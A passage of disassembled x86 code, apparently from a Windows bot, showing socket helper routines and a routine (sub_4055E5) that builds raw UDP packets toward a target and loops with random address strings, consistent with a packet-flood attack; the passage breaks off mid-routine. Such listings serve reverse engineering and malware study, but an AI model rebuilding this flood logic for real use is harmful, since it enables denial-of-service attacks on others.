; ---------------------------------------------------------------------------

loc_404F79:				; CODE XREF: sub_404F24+1Fj
		xor	eax, eax

locret_404F7B:				; CODE XREF: sub_404F24+51j
		leave
		retn
sub_404F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F7D	proc near		; CODE XREF: sub_404FD0+6p
					; sub_41349C+59Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------

loc_404F87:				; CODE XREF: sub_404F7D+37j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_404F8E:				; CODE XREF: sub_404F7D+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404FB6
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_4053B1
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	dword ptr [ecx+eax*4+0Ch], 0
		jmp	short loc_404F87
; ---------------------------------------------------------------------------

loc_404FB6:				; CODE XREF: sub_404F7D+1Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		leave
		retn
sub_404F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FD0	proc near		; CODE XREF: sub_41349C+5FBp
					; sub_4143B0+238p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_404F7D
		pop	ecx
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_412BC9+11p
					; sub_41349C+40Ep ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_405010
		mov	[ebp+var_20], 17h
		jmp	short loc_405027
; ---------------------------------------------------------------------------

loc_405010:				; CODE XREF: sub_404FE7+1Ej
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405023
		mov	[ebp+var_20], 2
		jmp	short loc_405027
; ---------------------------------------------------------------------------

loc_405023:				; CODE XREF: sub_404FE7+31j
		and	[ebp+var_20], 0

loc_405027:				; CODE XREF: sub_404FE7+27j
					; sub_404FE7+3Aj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DF54	; getaddrinfo
		test	eax, eax
		jz	short loc_405057
		xor	eax, eax
		jmp	locret_4050E8
; ---------------------------------------------------------------------------

loc_405057:				; CODE XREF: sub_404FE7+67j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jmp	short loc_405068
; ---------------------------------------------------------------------------

loc_40505F:				; CODE XREF: sub_404FE7+A8j
					; sub_404FE7+F4j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax

loc_405068:				; CODE XREF: sub_404FE7+76j
		cmp	[ebp+var_4], 0
		jz	short loc_4050DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_405091
		jmp	short loc_40505F
; ---------------------------------------------------------------------------

loc_405091:				; CODE XREF: sub_404FE7+A6j
		push	0
		push	[ebp+var_2C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_2C]
		call	dword_4171F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050D2
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4050D2
		push	[ebp+var_28]
		call	dword_41DF5C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		jmp	short locret_4050E8
; ---------------------------------------------------------------------------

loc_4050D2:				; CODE XREF: sub_404FE7+CEj
					; sub_404FE7+DBj
		push	[ebp+var_2C]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_40505F
; ---------------------------------------------------------------------------

loc_4050DD:				; CODE XREF: sub_404FE7+85j
		push	[ebp+var_28]
		call	dword_41DF5C	; freeaddrinfo
		xor	eax, eax

locret_4050E8:				; CODE XREF: sub_404FE7+6Bj
					; sub_404FE7+E9j
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050EA	proc near		; CODE XREF: sub_401E38+80p
					; sub_402698+16p ...

var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 844h
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		mov	[ebp+var_834], eax
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		imul	edx, 3E8h
		mov	[ebp+var_830], edx
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_40513E
		mov	[ebp+var_20], 17h
		jmp	short loc_405155
; ---------------------------------------------------------------------------

loc_40513E:				; CODE XREF: sub_4050EA+49j
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405151
		mov	[ebp+var_20], 2
		jmp	short loc_405155
; ---------------------------------------------------------------------------

loc_405151:				; CODE XREF: sub_4050EA+5Cj
		and	[ebp+var_20], 0

loc_405155:				; CODE XREF: sub_4050EA+52j
					; sub_4050EA+65j
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_82C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DF54	; getaddrinfo
		test	eax, eax
		jz	short loc_405188
		xor	eax, eax
		jmp	locret_40538B
; ---------------------------------------------------------------------------

loc_405188:				; CODE XREF: sub_4050EA+95j
		mov	eax, [ebp+var_82C]
		mov	[ebp+var_4], eax
		jmp	short loc_40519C
; ---------------------------------------------------------------------------

loc_405193:				; CODE XREF: sub_4050EA+E3j
					; sub_4050EA+128j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax

loc_40519C:				; CODE XREF: sub_4050EA+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40537D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_83C], eax
		cmp	[ebp+var_83C], 0FFFFFFFFh
		jnz	short loc_4051CF
		jmp	short loc_405193
; ---------------------------------------------------------------------------

loc_4051CF:				; CODE XREF: sub_4050EA+E1j
		push	0
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_83C]
		call	dword_4171F4	; connect
		mov	[ebp+var_838], eax
		cmp	[ebp+var_838], 0
		jz	short loc_405217
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_405217
		jmp	loc_405193
; ---------------------------------------------------------------------------

loc_405217:				; CODE XREF: sub_4050EA+119j
					; sub_4050EA+126j
		and	[ebp+var_828], 0

loc_40521E:				; CODE XREF: sub_4050EA+1AFj
		and	[ebp+var_840], 0
		jmp	short loc_405234
; ---------------------------------------------------------------------------

loc_405227:				; CODE XREF: sub_4050EA:loc_405259j
		mov	eax, [ebp+var_840]
		inc	eax
		mov	[ebp+var_840], eax

loc_405234:				; CODE XREF: sub_4050EA+13Bj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnb	short loc_40525B
		mov	eax, [ebp+var_840]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405259
		jmp	short loc_40525B
; ---------------------------------------------------------------------------

loc_405259:				; CODE XREF: sub_4050EA+16Bj
		jmp	short loc_405227
; ---------------------------------------------------------------------------

loc_40525B:				; CODE XREF: sub_4050EA+156j
					; sub_4050EA+16Dj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnz	short loc_405295
		cmp	[ebp+var_828], 200h
		jnb	short loc_405295
		mov	eax, [ebp+var_840]
		mov	ecx, [ebp+var_83C]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_828]
		inc	eax
		mov	[ebp+var_828], eax

loc_405295:				; CODE XREF: sub_4050EA+17Dj
					; sub_4050EA+189j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40521E
		lea	eax, [ebp+var_834]
		push	eax
		push	0
		lea	eax, [ebp+var_828]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		cmp	eax, 1
		jnz	short loc_4052E0
		push	1
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	[ebp+var_82C]
		call	dword_41DF5C	; freeaddrinfo
		mov	eax, [ebp+var_83C]
		jmp	locret_40538B
; ---------------------------------------------------------------------------

loc_4052E0:				; CODE XREF: sub_4050EA+1CEj
					; sub_4050EA+27Cj
		and	[ebp+var_844], 0
		jmp	short loc_4052F6
; ---------------------------------------------------------------------------

loc_4052E9:				; CODE XREF: sub_4050EA:loc_405360j
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax

loc_4052F6:				; CODE XREF: sub_4050EA+1FDj
		mov	eax, [ebp+var_844]
		cmp	eax, [ebp+var_828]
		jnb	short loc_405362
		mov	eax, [ebp+var_844]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405360

loc_405319:				; CODE XREF: sub_4050EA+265j
		mov	eax, [ebp+var_828]
		dec	eax
		cmp	[ebp+var_844], eax
		jnb	short loc_405351
		mov	eax, [ebp+var_844]
		mov	ecx, [ebp+var_844]
		mov	ecx, [ebp+ecx*4+var_820]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax
		jmp	short loc_405319
; ---------------------------------------------------------------------------

loc_405351:				; CODE XREF: sub_4050EA+23Cj
		mov	eax, [ebp+var_828]
		dec	eax
		mov	[ebp+var_828], eax
		jmp	short loc_405362
; ---------------------------------------------------------------------------

loc_405360:				; CODE XREF: sub_4050EA+22Dj
		jmp	short loc_4052E9
; ---------------------------------------------------------------------------

loc_405362:				; CODE XREF: sub_4050EA+218j
					; sub_4050EA+274j
		xor	eax, eax
		test	eax, eax
		jnz	loc_4052E0
		push	[ebp+var_83C]
		call	sub_4053B1
		pop	ecx
		jmp	loc_405193
; ---------------------------------------------------------------------------

loc_40537D:				; CODE XREF: sub_4050EA+B6j
		push	[ebp+var_82C]
		call	dword_41DF5C	; freeaddrinfo
		xor	eax, eax

locret_40538B:				; CODE XREF: sub_4050EA+99j
					; sub_4050EA+1F1j
		leave
		retn
sub_4050EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538D	proc near		; CODE XREF: sub_401E38+26Ep
					; sub_4020C2+3FBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		pop	ebp
		retn
sub_40538D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053B1	proc near		; CODE XREF: sub_404279+77p
					; sub_40432E+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_417230	; closesocket
		pop	ebp
		retn
sub_4053B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: sub_401E38+15Cp
					; sub_4020C2+2F9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41720C	; send
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4053BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DC	proc near		; CODE XREF: sub_403DF3+D1p
					; sub_405443+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 2
		jnb	short loc_4053F6
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------

loc_4053F6:				; CODE XREF: sub_4053DC+8j
		push	0
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_405418
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40541D

loc_405418:				; CODE XREF: sub_4053DC+34j
		mov	eax, [ebp+var_4]
		jmp	short locret_405441
; ---------------------------------------------------------------------------

loc_40541D:				; CODE XREF: sub_4053DC+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_405435
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------

loc_405435:				; CODE XREF: sub_4053DC+47j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]

locret_405441:				; CODE XREF: sub_4053DC+18j
					; sub_4053DC+3Fj ...
		leave
		retn
sub_4053DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405443	proc near		; CODE XREF: sub_402698+8Dp
					; sub_402698+2BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40545B
		xor	eax, eax
		jmp	short loc_40546C
; ---------------------------------------------------------------------------

loc_40545B:				; CODE XREF: sub_405443+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch

loc_40546C:				; CODE XREF: sub_405443+16j
		pop	ebp
		retn
sub_405443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40546E	proc near		; CODE XREF: sub_405443+9p
					; sub_410649+2Dp ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_416BC0
		and	[ebp+var_804], 0
		and	[ebp+var_1008],	0

loc_405489:				; CODE XREF: sub_40546E+90j
		and	[ebp+var_1014],	0
		jmp	short loc_40549F
; ---------------------------------------------------------------------------

loc_405492:				; CODE XREF: sub_40546E:loc_4054C1j
		mov	eax, [ebp+var_1014]
		inc	eax
		mov	[ebp+var_1014],	eax

loc_40549F:				; CODE XREF: sub_40546E+22j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnb	short loc_4054C3
		mov	eax, [ebp+var_1014]
		mov	eax, [ebp+eax*4+var_800]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4054C1
		jmp	short loc_4054C3
; ---------------------------------------------------------------------------

loc_4054C1:				; CODE XREF: sub_40546E+4Fj
		jmp	short loc_405492
; ---------------------------------------------------------------------------

loc_4054C3:				; CODE XREF: sub_40546E+3Dj
					; sub_40546E+51j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnz	short loc_4054FA
		cmp	[ebp+var_804], 200h
		jnb	short loc_4054FA
		mov	eax, [ebp+var_1014]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_800], ecx
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax

loc_4054FA:				; CODE XREF: sub_40546E+61j
					; sub_40546E+6Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405489

loc_405500:				; CODE XREF: sub_40546E+107j
		and	[ebp+var_1018],	0
		jmp	short loc_405516
; ---------------------------------------------------------------------------

loc_405509:				; CODE XREF: sub_40546E:loc_405538j
		mov	eax, [ebp+var_1018]
		inc	eax
		mov	[ebp+var_1018],	eax

loc_405516:				; CODE XREF: sub_40546E+99j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnb	short loc_40553A
		mov	eax, [ebp+var_1018]
		mov	eax, [ebp+eax*4+var_1004]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_405538
		jmp	short loc_40553A
; ---------------------------------------------------------------------------

loc_405538:				; CODE XREF: sub_40546E+C6j
		jmp	short loc_405509
; ---------------------------------------------------------------------------

loc_40553A:				; CODE XREF: sub_40546E+B4j
					; sub_40546E+C8j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnz	short loc_405571
		cmp	[ebp+var_1008],	200h
		jnb	short loc_405571
		mov	eax, [ebp+var_1018]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_1004], ecx
		mov	eax, [ebp+var_1008]
		inc	eax
		mov	[ebp+var_1008],	eax

loc_405571:				; CODE XREF: sub_40546E+D8j
					; sub_40546E+E4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405500
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_100C],	edx
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		lea	eax, [ebp+var_804]
		push	eax
		push	1
		call	dword_41722C	; select
		cmp	eax, 1
		jz	short loc_4055C9
		xor	eax, eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------

loc_4055C9:				; CODE XREF: sub_40546E+155j
		lea	eax, [ebp+var_804]
		push	eax
		push	[ebp+arg_0]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4055E1
		push	1
		pop	eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------

loc_4055E1:				; CODE XREF: sub_40546E+16Cj
		xor	eax, eax

locret_4055E3:				; CODE XREF: sub_40546E+159j
					; sub_40546E+171j
		leave
		retn
sub_40546E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055E5	proc near		; DATA XREF: sub_405E45+113o

var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= dword	ptr -1344h
var_1340	= dword	ptr -1340h
var_133C	= dword	ptr -133Ch
var_1338	= dword	ptr -1338h
var_1334	= dword	ptr -1334h
var_118D	= byte ptr -118Dh
var_108D	= byte ptr -108Dh
var_1087	= dword	ptr -1087h
var_1083	= dword	ptr -1083h
var_107F	= dword	ptr -107Fh
var_1078	= dword	ptr -1078h
var_1074	= byte ptr -1074h
var_1058	= byte ptr -1058h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1358h
		call	sub_416BC0
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1334]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_1078],	eax
		cmp	[ebp+var_1078],	0FFFFFFFFh
		jnz	short loc_405643
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------

loc_405643:				; CODE XREF: sub_4055E5+49j
		mov	[ebp+var_1340],	1
		push	4
		lea	eax, [ebp+var_1340]
		push	eax
		push	2
		push	0
		push	[ebp+var_1078]
		call	dword_417204	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40567E
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------

loc_40567E:				; CODE XREF: sub_4055E5+84j
		push	0
		push	[ebp+var_1078]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		lea	eax, [ebp+var_108D]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405710
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1344],	eax
		cmp	[ebp+var_1344],	0
		jnz	short loc_405700
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------

loc_405700:				; CODE XREF: sub_4055E5+106j
		mov	eax, [ebp+var_1344]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax

loc_405710:				; CODE XREF: sub_4055E5+EAj
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405729
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------

loc_405729:				; CODE XREF: sub_4055E5+12Fj
		push	1060h
		push	0
		lea	eax, [ebp+var_1074]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1074]
		mov	[ebp+var_133C],	eax
		lea	eax, [ebp+var_1058]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0F0h
		or	al, 5
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0Fh
		or	al, 40h
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	byte ptr [eax+9], 11h
		mov	eax, [ebp+var_133C]
		mov	ecx, [ebp+var_C]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_133C]
		mov	cx, [ebp+var_E]
		mov	[eax+16h], cx
		and	[ebp+var_1338],	0
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------

loc_4057A9:				; CODE XREF: sub_4055E5:loc_405E22j
		mov	eax, [ebp+var_1338]
		inc	eax
		mov	[ebp+var_1338],	eax

loc_4057B6:				; CODE XREF: sub_4055E5+1C2j
		mov	eax, [ebp+var_1338]
		cmp	eax, [ebp+var_1087]
		jge	loc_405E27
		mov	eax, [ebp+var_107F]
		mov	[ebp+var_1358],	eax
		cmp	[ebp+var_1358],	1
		jz	short loc_4057FC
		cmp	[ebp+var_1358],	2
		jz	loc_405924
		cmp	[ebp+var_1358],	3
		jz	loc_405A11
		jmp	loc_405C71
; ---------------------------------------------------------------------------

loc_4057FC:				; CODE XREF: sub_4055E5+1F6j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_40581E:				; CODE XREF: sub_4055E5+2BFj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4058A9
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_40581E
; ---------------------------------------------------------------------------

loc_4058A9:				; CODE XREF: sub_4055E5+247j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------

loc_405924:				; CODE XREF: sub_4055E5+1FFj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch

loc_405946:				; CODE XREF: sub_4055E5+3CBj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4059B2
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405946
; ---------------------------------------------------------------------------

loc_4059B2:				; CODE XREF: sub_4055E5+36Fj
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
